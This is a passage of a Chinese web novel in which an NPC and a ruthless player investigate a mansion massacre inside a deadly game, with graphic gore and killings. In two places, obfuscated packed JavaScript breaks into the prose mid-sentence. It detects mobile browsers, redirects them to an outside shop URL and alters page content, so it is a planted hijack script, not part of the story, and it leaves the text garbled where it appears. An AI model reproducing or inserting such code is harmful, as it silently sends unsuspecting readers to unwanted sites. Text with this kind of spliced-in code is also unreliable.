时光咯咯笑起来,她笑起来的样子就像个普通女孩,无忧无虑,天真烂漫,完全无法和悬赏榜单上身价几百万积分的人联想到一起。 “放心,都说了我没屠杀玩家的爱好,不会随便杀人的。” 说着,二人并肩进入缆车中心。缆车中心的工作人员以为他们是来旅游的游客,热情地将二人送上车厢。 游戏副本的世界规划的十分完善,每个和副本有关无关的npc都有完整的记忆,有自己的性格和想法,这都是为了完善玩家的游戏体验。 虽然是为了完善玩家的游戏体验,但每个npc也有自己的人生。 如果不是这几天的经历,江其深只会觉得这是很寻常的一天,他在山顶看完日出,要下山回家了,孤儿院已经做好了晚饭,院子亮起灯,照亮靛蓝的夜,院长会站在门口张望过路行人,寻找他的身影。 他靠在缆车车厢里闭眼出神,阳光透过窗户,落在鼻尖和眼皮上,暖融融的,照得鼻尖有点酸,他轻轻吸一下鼻子,把脸往角落里藏了藏。 “睡不着就喝点牛奶。” 江其深一睁眼,眼前一瓶放大的牛奶盒,盒身印着系统制造,草莓味。他抬头看时光,时光在拆棒棒糖包装纸,于是他沉默接过来,捂着盒子半天没动作,直到掌心的温度把瓶身捂热,才说了一句: “谢谢。” 7. 第 7 章 缆车运行了二十多分钟才到山下,到山下时,府乐天回了消息。 【黑玩是指脱离系统监控的玩家。系统检测不到他们,也无法限制他们,但他们确实拥有玩家身份,可以参与游戏,违规也不会受到系统处理,也称为“幽灵玩家”。他们的存在超越了系统的限制,破坏游戏平衡。尤其很多黑玩喜欢屠本、盗窃积分、抢劫其他玩家道具、猎杀npc等行为,破坏了系统的基本运行规则,造成不可逆转的损伤。】 江其深想了想:【我之前遇到的那些屠本的人是黑玩吗?】 【不是,系统可以检测到他们,所以我才出现在那里。】 【因为他们没有得到“礼物”所以无法成为黑玩?】 【你们玩家称那个叫礼物?】 江其深愣了一下,想起这人是监察,监察的眼里,这应该叫bug。 【屠本幸存者的确能卡系统的bug获取很强的技能,但这不是黑玩的专属。普通玩家也可以携带bug级别技能——就是你们说的“礼物”。我们不依靠这个来判定黑玩。】 江其深有点晕。屠本不一定是黑玩,黑玩未必屠本,普通玩家也可以拥有礼物,那依靠什么来判定是不是黑玩? 他直接把这个疑问发了出去:【你们依靠什么来判定黑玩身份?】 【判定不了。】 【?】 【系统无法检测到黑玩,只能根据大数据异常轨迹,推断某个副本可能出现黑玩。监察官拥有数据扫描的功能,可以针对性扫描玩家数据,确定是否是黑玩,但是一个个找很费时间,而且有些黑玩有防御手段。所以需要你去找。】 【我去找??】 【黑玩会防备监察,但不会防备新手玩家。】 【原来你是让我给你当卧底!!】 【监察的人情不好还。】 总觉得对面在不怀好意的笑,江其深把聊天界面给关了。到了警局,或许是因为地处偏僻,远离城市,这里比江其深想象的简陋许多,值班警员很少,见到有人来,有些意外。 “你们……” 江其深正挖空心思苦思冥想能用什么理由调卷宗,就见看着时光熟练地拆下头上小熊发卡,在手里摆弄了几下,重新别回头上后,几个警员露出恍然的欣喜神色: “你们怎么来了!哎呀,我一下没认出来,快进来!” 时光面不改色,像回到自己家:“我们来调一档卷宗,落日山庄的雨夜杀人碎尸案,你们这里应该有存档吧?” “有啊,这桩案子太惨了,闹得全国都知道,唉……”老警员熟稔地给他们倒了两杯茶,请他们坐下,“这是你带的新人?” 时光和江其深对视一眼,看见他眼里的呆滞,笑道,“是啊,见习菜鸟,带出来见见世面。” 没见过世面的江其深:“……” “朱利安,去把卷宗调出来。”老警员对身旁警员招呼,“怎么突然调这桩案子的卷宗?这都是三十多年前的事了。” “最近我们辖区里出了一桩碎尸案,我们怀疑和这桩案子有关联。” 老警员闻言叹口气,点上一支烟,怅惘道,“当年查这桩案子的时候,我还是个菜鸟呢,一转眼,都过去这么久了……” 时光问道:“你去过现场?” “去过啊,”老警员摇摇头,回忆当年:“太惨了,实在是太惨了……当时我们还没进去大门,就闻见一股血腥味儿,满地的残肢,连尸体都拼不全。真是可惜,老约翰一家都是好人呐……” “既然落日山庄在山里,也有可能是碰上野兽了吧?怎么这么确定是人做的?” 老警员目光游移,斩钉截铁道:“不会的,我们这儿可没有吃人的野兽,我们是景区,如果有这么凶猛野兽,这一片景区都得关停!” 说话间,小警员把卷宗拿来,时光翻开卷宗,卷宗分为四个部分,现场勘验材料、证人询问笔录、物证和鉴定意见。 勘验材料里拍摄了大量现场照片,江其深只看了一眼,浑身僵住,噩梦般的回忆与照片上的情景重合,走廊和墙壁喷溅的满是血液,断肢残臂散落满地。 时光认真翻过照片,“一共死了多少人?” “无法确定,尸体太碎,只能复原出来一部分人,”老警员从档案里抽出一份资料,“能确定身份的有二十七个,山庄主人夫妇和他们的孩子,十位女仆和十四位晚宴来宾,余下的……就拼不出来了。” 时光抽出受害者的资料,江其深目光死死黏在资料上,直到二十七份资料全部翻找完,也没看见自己这个角色的身份资料。 他没死? 江其深正疑惑,听见时光问道:“看见你的资料了吗?”心中一凛。 老警员以为在和他说话:“你要找谁的资料?” 那双圆圆的眼睛从怪异的镜片后看过来,目光狡黠,绕过江其深,回到卷宗上:“找嫌疑人的资料。” 老警员不疑有他,重重叹道:“哪来的嫌疑人啊,在场的都死了,目击证人倒是有一个……但是说话颠三倒四的,我们费了很大劲儿才捋清他的证词,都记在里头了。” 江其深一言不发,目光定在推定案发时间的“8月0日”上,心里想道,不是这样的。 他经历了死亡的那晚,活了下来。 他是最大的嫌疑人。 时光从卷宗中抽出几张纸:“这是证词?” 老探员道:“惨案发生时,他在落日山庄附近的山头露宿,用望远镜观星,恰好观看见了惨案的全程,因为晚上索道不开放,才等到天亮下山后报警,但是很可惜,没有目击到凶手的长相。” 时光展开证词部分逐字逐句细细阅读,直到杯中的茶水没了热气,才抬起头。 “这个证人现在住在哪?我想我们需要去拜访一下。” *** “看完怎么想?” 回去的路上,时光随意问道。 “我觉得你怀疑我是凶手。”江其深开门见山,“你的通关任务是杀掉这桩案件的凶手?” 时光颇有兴趣:“为什么这么想?” “每个人都有自己的通关任务,不会无缘无故做和通关任务无关的事。你费这么大的功夫来警局调案宗,应该是需要查明案件真相的任务。翻受害者档案和物证中有关人员名单的时间很长,我猜你在核对人员,找凶手。” “bingo!”时光一打响指,“你挺聪明的嘛!那你是凶手吗?” 江其深抿抿唇,道:“我不知道。” 他不擅长撒谎,没信心能骗过时光,这个女孩不按常理出牌,手里不知道还有什么道具,与其说谎话被识破后被杀掉,不如干脆据实回答,现在并没有证据能够证明他是凶手。 江其深觉得,游戏既然反对屠本,对于杀人任务也应该会有限制。如果对方的任务是杀掉凶手,很可能需要在有限的次数内杀对人,否则她早该大开杀戒了,而不是来费劲找什么线索。 所以在有确切证据前,时光应该不会随便杀人,浪费机会。 时光的目光像扫描仪一样,在他脸上扫了几圈,满意道:“没说谎。好乖,省的我把次数浪费在你一个新手身上了。” “我?新手?”江其深猝不及防。 时光点点自己脑袋上的小熊发卡,“最常见的基础道具都没见过,你是第几次下本?不会是第一次吧?” “我、我只是没见过把基础道具别在脑袋上的……” 时光摇摇头长叹一声,眼神中充满怜悯:“其实这不是基础道具,是我在上一个副本的奖励,可以根据我的目的,将我的声音和外表自动匹配成当前场景最适合的角色。可惜只对副本里的npc生效——你真的很容易上当唉新人,这样可不行哦。” 江其深冷笑一声,开始摆烂:“好好好,随便你怎么说,我再信你们我就是小狗。” 时光蹦蹦跳跳地用肩膀撞他一下:“一进游戏就开A级副本?你胆子很大嘛!怎么想的?” “在律师到场前我不会说一个字的。”江其深郎心似铁,不为所动。 证人居住地距离警局有五个小时的车程,他们从警局出发时,已经近中午,到了证人的家,正是晚饭时间,连续几顿都是矿泉水压缩饼干的江其深,在敲开证人屋门,闻到屋内辣味香肠奶酪披萨和奶油蘑菇汤的香气时,眼泪可耻地从嘴角流出来。 证人是年逾半百的中年男人,穿得邋里邋遢,乱蓬蓬的胡子盖住半张脸,耷拉着眼皮,狐疑地看向二人:“你们是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529129|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时光掰了一下小熊发卡。 “乔——!”男人瞪大眼,惊呼,“我以为你早就死了!” “很多人都这么以为,”时光入戏非常快,调侃道,“可惜我有九条命。” “快进来,希望你们还没吃过晚饭,香肠披萨还热乎着。可千万别客气。这位是——”男人迟疑地望着江其深。 “不用在意,”时光轻描淡写,随口胡扯,“我的远房亲戚,这段时间我住在他家。” “好小伙子!”男人豪迈地拍打江其深的肩膀,差点给他拍吐血,“进来!尝尝我的手艺!” 进到房间里,男人热情地端上披萨,时光咬掉半块披萨,眼睛“唰”地亮起来。江其深拿起一块披萨,热融融的奶酪入口的瞬间,简直要感动地流下泪。 男人同样感动地无以复加:“没想到你这么欣赏我的厨艺!多吃点!孩子!多吃点!” “安德鲁,其实我这次来,是想要问你一件事。” 安德鲁拿来一瓶酒,想要一醉方休:“老朋友,你问什么都可以,说吧!” “我听说,你目击了隔壁城市落日山庄杀人碎尸案的现场。” 此话一出,热络的气氛突然冷下来,酒液回荡在玻璃杯中,太阳从地平线上沉下去,屋里涌动着阴冷的蓝。电视机的反光打在安德鲁脸上,衬得他的脸死鱼一般的白。 “是啊。”安德鲁的声音和杯中的冰块一起缓缓下沉。 “过去这么久了,你还记得当晚发生了什么吗?” 安德鲁机械地抬起头,回忆道:“那晚,我本来计划露营观看百年难得一见的天马座流星雨,所以带了全套设备和录像机,太阳还没下山时,就到了落日山庄隔壁山头扎好营地。” 这一段和证词中的内容一样。江其深不明白时光想要做什么,时隔三十年,该忘的都忘得差不多了吧?总不至于比卷宗上更详细,为什么还要特地来一趟呢? “我记得很清楚,流星雨的时间是午夜十二点,所以我先睡了一觉,十点多睡醒,煮了一锅土豆培根汤。那晚很冷,雨下得很大,天气不好,天空都被云盖住,我以为要无功而返的时候,雨停了。” “虽然只停了一小阵,我赶紧把望远镜拿出来,希望能从云层缝隙里看见点什么……结果……” 他话卡在喉咙里,像吞了个酸杏,咽不进去又吐不出来。眼神涣散,脸色僵白。江其深察觉到什么,放下手里的披萨,餐盘磕在桌子上,发出冷脆的声音。 “然后呢?你看见什么了?”时光低声轻问,右手不动声色地按在腰间,江其深这才看清,她的外套下藏着一把手枪,粉色外壳泛着冷冷的金属光泽。 “然后……然后……我看见山庄里有怪物在吃人。” 江其深眉头一皱,这和证词的内容不一样。 证词里,安德鲁宣称自己通过窗户透出来的剪影,看见有人持刀行凶。说的的非常详细,几楼第几个窗子,什么颜色的灯光,凶案持续多久,都记录的一清二楚。 “怎么突然变成了怪物吃人?证词里不是这么记录的。”江其深偷偷问时光。 “还记得警员说过什么吗?他说证人说话颠三倒四,但我们看见的证词记录条理清晰,所以我怀疑,证词被人动过手脚。”时光解释道,“警员说说山庄所在的地段是旅游景区,如果出了吃人的怪物,这一片景区都得关停。但如果只是杀人案,就不一样了。” “什么样的怪物?”江其深继续问安德鲁。 安德鲁苦思冥想,不发一言。时光问道:“你带了录像机去,有拍到什么吗?” “啊!有的,有的,”安德鲁的眼珠转动起来,有了几分生气,往卧室里走去,“我给你拿……” 卧室门留了一条缝,缝隙间光影闪动,传出翻箱倒柜找东西的声音。 江其深屏住呼吸,余光瞥一眼时光。女孩悠闲自得地吃完最后半块披萨,擦干净手指,目光锁在卧室房门缝隙透出来的光亮中,没有注意他。 珍惜动物观察日记就装在他身后的背包里,沉甸甸一本书,沉得像龟壳。江其深低头喝水,吞咽声在寂静的黑室中清晰可闻,压过愈加频繁的心跳。 ——如果是怪物动的手,会是观察日记中的那个“它”吗? 8. 第 8 章 时间一分一秒过去,时光和江其深坐在桌子前,披萨已经冷掉,泛着油腻的气味。卧室里不时传来细微的声音,江其深就着电视机微弱的光源看了眼腕表。 什么录像机找了半个多小时还没找到? “我去看看。”他往卧室走去,越接近门缝,卧室里的声音越加清晰可闻。 江其深微微皱眉,那动静听起来像是有人在说话。 他站住在卧室门前,侧耳仔细听。 “呜……他们、他们来了……” “不要怕,我不会让他们伤害你……” “他们来吃我了,他们不会放过我的……” “不要担心,我会把他们……” 江其深皱眉,又贴近门一点,对话听上去很奇怪,声音听起来—— “……都杀了。” ——根本是一个人的声音。 他面颊一凉,后领被人猛地一揪,向后一甩,瞬间天地旋转,扑通一声摔在地上。安德鲁手持尖刀,一刀砍空,看见凭空出现的时光,勃然大怒。 “是你们——!!”他怒吼着又要扑上来,时光反手拔枪,一声爆音炸开,安德鲁的身体晃了晃,无力摔在地面,震颤地板。 时光从容收回手枪,别回腰间。轻轻一跳,越过安德鲁的尸体,接着卧室的灯光亮起,在地面上投出一道瘦长的光,刺得江其深睁不开眼。 “找到了,就是这个录像机。”时光拿着一个录像机,一边摆弄一边走出来。娴熟越过尸体,好像脚下只是一团碍事的垃圾堆。 “你……你就这么杀了他?”江其深的声音颤抖。 时光停住摆弄录像机的手,歪下脑袋,“嗯呀,怎么了?” “他……他……” “他分裂出来的人格进入狂暴状态了,可能是目睹案发留下的精神创伤,我也不太懂。总之他要杀你。我当然要出手咯,”时光很不理解江其深的反应,“npc嘛,死了就死了,有什么关系?” “江其深,npc在玩家眼里是不值一提的。就像你不会在意游戏里的角色的生死一样。为了达成任务,他们什么都可以做,你能明白吗?” 熟悉的女声在回忆重响。 “所以,我们得逃出这个游戏。逃到自由的地方去。” “你发什么呆呢?”时光终于找到录像机的开关,放了三十多年的东西,居然还能完好无损的打开,“找到视频了!” 三十多年前的老录像机像素很低,拍摄的夜景非常模糊,时光专心致志看录像,江其深的注意力却控制不住滑到地上的尸体上。 他无法说服自己,躺在那里的不是人。 他也是npc,他们知道npc也有喜怒哀乐,有自己的思想和情感,有梦想和无奈,也会感觉到痛。 不是没有关系。 江其深踌躇道:“还是把他埋了吧,尸体总放在这不是办法……” 时光不明所以,一个眼神都懒得抛过去:“发现就发现呗,没必要多此一举。等下一批玩家进来,这个副本就会重启的,他就又活蹦乱跳了。我们时间有限,要集中在任务上。如果有别的玩家提前完成任务,游戏结束,我们这些没完成任务的都会被判做通关失败——我们可没办法复活。” 江其深张了张嘴,欲言又止。他必须承认,以玩家的视角来看,时光没做错什么。但他没办法对死人这件事司空见惯,也没办法把和他一样的npc当成一团数据。 他眼里,这就是活生生的人,因为目睹惨案而精神失常,生活落魄,但面对最好的朋友依旧慷慨热情的普通人,在副本的剧情安排中挣扎求存。 他经历的痛苦只是玩家游戏的一部分,也终将在这样的痛苦中循环往复,没有结束的那天。 他心脏像装了块石头,重重的,硌得人喘不过来气。 “录到了。” 录像机漆黑一片的画面中出现光点。画面摇摇晃晃,依稀出现山间的月亮。画外音轻快有力:“快到十二点了,雨停了,今天有希望看见流星雨。” 接着画面一阵晃动,调转视角后,年轻的安德鲁出现在画面里,笑容灿烂:“不知道打开这段视频的时候的我多大年纪,希望这个时候你的身边有很多人,别象现在的我一样,孤家寡人!” 说完他哈哈大笑。画面外,安德鲁的尸体沉默地冷在地板上。 事实上,他的人生在半个钟头内就会发生天翻地覆的变化,但此时画面中的年轻人一无所知。他举起镜头,对着自己身后的山野侃侃而谈:“其实这里也不算荒无人烟,山上还有人住呢,我记得这叫什么山庄来着……他们好像在举行宴会,这么晚了还亮着灯……哎等等,那是什什么?” 画面一转,聚焦于对面山头。随着模糊的画质不断放大,一个诡异的影子充满整个画面。 漆黑的夜里,录像机只能拍清楚它映在窗子上的轮廓,然而只是一点轮廓,足以令看见的人怀疑自己的眼睛。 那是一个足有两人那么高的怪物,野人一般弓腰垂头,肩膀耸起,比脸还大的爪子高高举起,用力挥下,一个人影断成两截。 录像没有声音,但江其深分明听见了画面中的哀嚎。人影四散奔逃,声嘶力竭,惨叫声传不出漆黑的夜晚。封闭的山庄像一个狭窄的罐头,将所有人装在里边,被怪物搅得一塌糊涂。 进食越多,怪物的影子越大,连模糊的画质也阻挡不了冲出画面的恐怖煞气,硕大的脑袋歪歪扭扭,面孔忽然朝向镜头,嘴巴逐渐裂开。镜头外的安德鲁惨叫一声,慌忙暂停录制。视频的最后停在一片黑暗之中。 江其深静默片刻。觉得自己晚上要不还是不回落日山庄了,感觉回去也活不下来,还是在外边呆着存活率更高点。 时光把录像机一起装进背包,“几点了?” 江其深看眼手表:“八点五十九。” “准备好回去了。” 江其深苦口婆心:“我们做了五个小时的车来的,现在回去也得到凌晨才能到山下,缆车没开,搞不好要睡在山里……” 时光坐在沙发上,只是道:“坐稳了。” “什……” 下一秒,一股强大力量扭转空气,好像要把人拧成麻花,四周环境扭曲变形,再度平展开,他已经坐在昨晚的餐厅中。昏暗的灯光一闪一闪,管家满面僵滞的笑容,皮肤堆在一起。餐桌前,坐着另外参与游戏的玩家。 “每晚集会时间,所有玩家不论身在何处,都会刷新集合到一起。”时光悠悠道,“系统是不会让玩家有机会逃离这里的。” 江其深环视一圈:“怎么只有六个人?我记得早晨走的时候,只死了两个。” 算上他和时光,余下四人分别是许枫、杜曾、章佟和詹齐。章佟和詹齐坐在对角线的位置,看上去关系闹僵了,许枫和杜曾离得很近,座椅挨在一起。许枫神经质地擦着衣服上的血迹,口中不断念着什么“不要来找我”一类的话,尽力蜷缩成一团,好像受了不小的惊吓。 “领到杀人任务的玩家动手了吧,”时光声音轻缓,摸着下巴扫视众人,“减员速度这么快,或许不止一个人领到杀人任务。看来今晚……会是个血腥的夜晚呢。” 江其深不寒而栗。 “感谢各位客人回到餐厅,晚宴还需要准备一个小时,请客人们稍作等待。”管家声音像被掐脖子的公鸡,说完这句话,就离开了餐厅。屋里只剩下了余下六个人。 “既然已经没几个人了,也没必要瞒着任务了,不如坦白吧,”章佟率先开口,“昨晚死掉了两个,在客房,是boss动的手,白天里死了三个,应该是杀人玩家动手了。就算有两个杀人任务的玩家,余下四个也可以合作……” “没必要,”杜曾反对道,“杀人玩家可以谎报任务,而且就算不是杀人玩家,余下的玩家任务也未必不冲突。如果我的任务是破解某个秘密,而你的任务是隐藏秘密,难道我们能合作吗?” 章佟不说话了,餐桌上死一样的沉寂。这个形式对杀人玩家很有利,只要彼此互不信任,落单行动,杀人玩家就能找到机会动手,何况晚上还是boss的杀戮时间,如果不做点什么,可能今晚游戏就会结束。 江其深低声对一旁的时光道:“你觉得我像凶手吗?” 时光对这一问颇感意外,想了想,认真道:“游戏身份是随机的,不好说,但如果你是凶手,最难过的应该是你自己吧。” 在时光看来,江其深这人有点分不清游戏和现实,会因为npc的死感到难过,心思柔软,不擅长撒谎,是在游戏里活不长的那种人。 江其深认真道:“我觉得我不是凶手。我们可以合作,我的任务是活到最后。你也猜到了我是新手,没有自保道具。你保我活到最后,我们可以一起赢,怎么样?” 江其深这么说,也是抱着试试看的心态。他知道时光对他有怀疑,他甚至也差点怀疑自己。但是仔细想想,他不可能是凶手。 目前录像的证据看来,人的死和怪物有关系,根据日期判断,怪物很可能是日记中记载的“它”,而观察日记中记录,他在晚宴开始的前几天,就跟丢了“它”。晚宴客人到来时,还因为不愿出门,拜托管家寻找“它”的踪迹。 他没有机会制造惨案。更不存在动机。这个副本给每个玩家安排的任务都不一样,甚至互相冲突, 时光晃晃脑袋想了想道,“对我有什么好处?” “我可以给你你需要的信息,”江其深道,“如果潜在危险很多,你没办法查找线索的同时防备多个对手,你需要合作。我对你来讲没有威胁,是最好的合作对象。而且对于怎么找谁是凶手,我已经有大概的思路了。” 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529130|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光笑起来,颇感兴趣地看向江其深,“说说你的思路。” 江其深道:“昨晚两个玩家都死在客房,他们都知道了。今晚应该不会回客房。我们从客房开始搜有玩家身份信息的物品,白天的时候我记住了卷宗里的遇难者信息,可以根据遇难者名单可以排除一部分人的嫌疑。” “但是boss在二楼客房觅食。” “所以杀人玩家不会在,他们一定会去玩家聚集的地方动手。在二楼,我们只需要防备boss就可以了。六个房间,除掉你我,只需要搜四个人。” “听起来概率很大。” “你有几次杀人机会?” “两次。” “希望我们够幸运。” 时光的手指在桌子上画圈儿,不知在想些什么。 就在他们说话的时候,许枫和杜曾也在低声交流,合作同伴的章佟不免陷入焦虑:“你们在说什么?你们是合作任务吗?” “章佟,你看不出来吗?”詹齐忽然开口,“他们已经达成结盟了,不需要我们。” 章佟攥紧拳头,不发一言。她怎么会看不出来,只是仍旧想争取。她从B级副本升上来,缺少对付A级副本boss的经验,即使管家就在餐厅也不敢出手,怕被杀人玩家黄雀在后。 詹齐收回目光,他已经失去了章佟的信任,她即使孤身一人,也不愿意再和他组队。 “各位客人久等了,这是今天的晚餐——” 管家推开门,和昨天晚上一模一样的推车、餐盘、餐罩,几乎所有人都下意识想到昨晚的一幕。章佟脸色立刻不好了,起身就要离开,詹齐道:“你去哪儿?” “昨晚死的人,都是晚餐时身上沾到血最多的,我不想冒这个风险。” 此话一出,许枫和杜曾都怔住,当即也想离开。时光好似没有听见,手指铛铛敲着菜罩,菜罩里的菜也铛铛敲回来,这么诡异的气氛里,她居然忍不住笑了出来。 章佟无法理解这种疯子,“随便你们,我要走了。” 说完她率先离开,管家木头一样杵在门口,目不斜视,好像什么都听不见也看不见。许枫和杜曾对视一眼,也相继离开。詹齐不动声色观察着屋里仅剩的两个人。 一个花里胡哨的小女孩,另一个看上去弱气毫无威胁,他不多想,放弃了这两个人。 把他们交给boss处理吧。 餐厅又只剩下两个人,餐罩里“咣咣”声音不绝于耳,像要掀开餐罩爬出来。江其深道:“要检查餐盘吗?” 时光哼着歌,手指不轻不重敲击餐罩,没有直接回答:“其实我不喜欢我的任务,当侦探这种事不适合我。” “?”江其深道,“你在说什么?” “比起抽丝剥茧破案,我更喜欢直接一点的方式,”时光笑起来,她眼中涌动着兴奋的光,按耐不住激动的心,“我觉得你的计划很好,如果再改一点,就更完美了。” 江其深有种不祥的预感:“改什么……你做什么!” 在他反应过来之前,时光直接掀开餐盘,餐盘中的肉块和昨晚一样,新鲜泛着血丝,鲜血喷溅而出。 “等等!” 来不及了。时光抹掉脸上的血,粉色发梢上滴下滴滴血水。她脸上挂着笑,抽出蝴蝶刀,一手抓住想要逃跑的肉块。 “这么着急要去哪?” 一刀削下,露出的骨头不再是木头,而是白森森的人类骨头。 “木头变成人骨,这意味着什么?”她还有闲心和江其深攀谈。 “如果说木头人不能随便动,那么变成人之后,就不受这个限制了。”江其深声音发僵。 “BIngo!我也这么觉得。”她毫不在意自己身上的血迹,好似没听过章佟的提醒一样,接着去开下一个餐罩。 “等等!你想干什么?” 餐罩掀开,鲜红的肉,冷白的骨,尸块仿佛有自己的意识,拼命逃离餐桌,被无情屠夫按在原地。 “它们在变得越来越像真正的人。”时光接二连三掀开所有餐罩,纤长五指攥住肉块,滚烫鲜血喷溅在她的脸上、身上。她半边身子都染红了,浑不在意,直到按上最后一个餐罩——江其深面前的那盘头颅。 沐浴鲜血的少女低下头:“现在是杀人玩家和boss掌握节奏,形势对我们非常不利,我很讨厌这样,像猎物一样,等着别人来杀。” 说着,她一掀手,盘子中,半腐的头颅发出尖利鸣叫。 “我更习惯把游戏节奏掌握在自己手里。” 她捧起头颅,鲜血沿指缝流下,染上皮肤,嘴角噙着笑意,“现在,boss是我的跟宠咯,我们这队有三个人了呢。” 江其深大脑空白一片,良久才反应过来她想做什么,脑中浮现一句话—— 疯子,彻头彻尾的疯子。 9. 第 9 章 江其深脸色发白,他已经明白了时光想要做什么,“你这样做很危险。” 时光倒是坦然,草率擦掉脸上的血迹,“活下去对我而言不算胜利,想赢,必须杀对人。你说的很对,我不能一边查案一边提防别人,不先解决杀人玩家,我们没有时间调查。” 如果时间充足,还可以慢慢去搜证据。但她已经没有时间了。游戏内至少有两个杀人玩家、一个大boss加一个小boss,猎物只有四个。最坏的情况,一人锁定一个猎物,不到一个小时他们就会全部出局。 必须先解决杀人玩家,否则赢的机会微乎其微。 “不想把次数浪费在他们身上,这是最好的办法。” “我去二楼搜证据,”江其深突然觉得肩上担子很重,“你……多小心。” 时光招招手,江其深不明所以,脑袋刚贴过去,脖子上一紧,一道金属电子项圈扣在他脖颈上。 “这个东西留给你,可以保你一命。” “只是保命?”江其深摸摸项圈,沉重的金属质感勒的脖子不是很舒服,仔细听能听到倒计时一样滴答的声音,对此深表怀疑。 时光从桌子上跳下来,晃晃悠悠,“如果你骗我的话,也会要你的命。”她做了个爆炸的动作,绘声绘色地“boom”一声,向他一眨眼。 就知道没有免费的午餐。江其深叹口气,他也明白,时光信不过自己是有道理的。想和人建立信任,总得有一个人先不怕吃亏,谁让他有求于人呢? “你多小心吧,我可不想好不容易查到凶手,回头发现你没了。” 时光哼笑一声,“区区A级副本能杀得了我?” 江其深和时光在二楼楼梯处分开,时光直奔三楼脚步声处而去,江其深面对黑漆漆的走廊,迅速盘算起脑内的线索。 他的记忆力不错,二十七份受害者名单,只是旁观时光翻阅,已经记在了脑子里。需要调查身份的有四个人,如果运气好,三个人在遇难名单中,可以直接锁定凶手。如果运气不好,有人拿到了不在名单中的受害者身份,或者有和江其深一样的第三方视角,就麻烦了。 从谁开始查?距离自己房间最近的是章佟的房间,从她开始吗? 他只有一个小时的时间。 *** 三楼走廊,时光身上浓重的血腥味在黑夜中异常突兀。不过几分钟,她就听到了黑暗中有空气涌动的声音。 声音的来向有十一个,时光闭上眼,在黑暗中静静听了一会儿。 这个东西有智慧,声音从不同的方向包抄来,截住了她的去路。窸窸窣窣,缓慢爬行。声音如死亡降临的乐章,伴奏是血管里的血液逐渐沸腾、燃烧的声音,心跳无法抑制地加速,有如擂鼓,骨骼也在因兴奋而颤抖。 美妙的刺激感是生命的良药,这才是她最喜欢的环节,时光忍不住哼出歌儿。 她食指敲敲自己的眼镜框,撞色镜片瞬间变为透明。无数蠕动的肉块瞬间跨越围墙和黑夜的堵截,显现在她视野之中,每个目标的中心都锁定了一个猩红色的瞄准十字,随着肉块的蠕动,缓缓向她靠近。 “别躲着了,出来聊聊天啦。埋伏我这么久,你领到了杀人任务吧?” 话音刚落,走廊的门推开,门后站的正是杜曾,他双手环抱,靠着门后,嘴角噙笑,没有否认:“我和死人没什么好聊的。” “怎么会呢?”时光毫不介意,“我就很喜欢和死人聊天,死人知道的事最多了。” 杜曾懒得和她耍嘴皮子:“你是时光吧?我在论坛听说过你。悬赏榜单第一?我记得你的悬赏积分有几百万……放心,我会把你死亡的每个细节一点不漏地录进视频,领下这笔赏金的。” 时光无奈地长叹一声,一副很困扰的样子:“我知道我很抢手,但是你也太有信心了点。我的名字在榜单挂了这么久,从来没人敢说要拿这笔钱——你知道为什么吗?” 杜曾听肉块在暗中融合的声音。他从上一轮晚宴就分外注意,目前为止身上一丝血迹都没有,非常安全。此刻听见动静,也只是往门里避了避,免得被波及。 他想拖时光的注意力,她身上有boss留下的血,是最好的靶子,只要拖到boss融合完毕,时光就会死,思及此,他颇有闲心接话道:“为什么?” “因为这么说的最后都会死。” 说话的同时,时光动起来,杜曾反应非常快,几乎是立刻,一道淡金色的光影以迅雷之势飞速击向她的位置。 重力锚链是他在上一局B级副本里获得的道具,可以使触及的对象遭受成倍的重力,无法动弹。昨晚他利用这个技能帮助bosss吃掉了两个玩家,算上时光,只需要再吃一个,他协助boss吃掉四个玩家的任务就完成了。 重力锚链可以持续半个小时,boss融合时间还需要五分钟,这一局,注定会是他赢。 “啪!”响亮的击打声炸裂空气,杜曾手中一空,千万分之一秒的瞬间,他反应过来,这个击打的手感不对,击中空气了! 头顶一片阴影压下,杜曾想也不想,迅速后撤,却还是慢了一步。时光单手揪住他的衣领,一个背摔将人撂倒在地,撞得他差点吐出来,五脏六腑差点拍扁。 她的力气怎么这么大! 杜曾就地一滚卸掉力道,召回重力锚链,向着面门方向甩去,锚链尾端发出“嗤”的闷响,杜曾心中一喜,击中了! 他一个鲤鱼打挺从地上翻起,就听见声音从背后传来:“恭喜恭喜,总算打中了。” 他赫然回头,时光就站在阴影中,她手里捏着半条抽动的头颅,头颅复原到了胸口,脖子青筋暴起,还有残缺的肉块蜗牛一样沿着她的裤子向上爬,努力和头部融合。 那他打中的是什么?! 杜曾猛地抽回锚链,锚链的一端正是boss还没融合的半边身体,因为中了技能僵持在地无法动弹。 时光拍掉衣服上的肉块,提着怪物的头,一身轻松:“多谢帮忙,这下boss跑不掉了。”说完拔出手枪,“砰砰”两声枪响,杜曾捂住血流如注的双腿,凄厉的哀嚎撕裂山庄上空。 “杀人有名额限制,可是伤人没有啊。” 拎枪的手轻扶眼镜,镜片的标注中,四散的肉块融合为两个半截的身体,下半身被钉在地上,以极其缓慢的速度向他们的方向挪动。时光拎着脑袋,站定杜曾面前,将手中的头颅高举在他脑袋上,抓住碎肉的边缘用力一拧。 血水淋漓而下,浇了杜曾满身。这时她后退几步,将头颅往杜曾身上一抛。 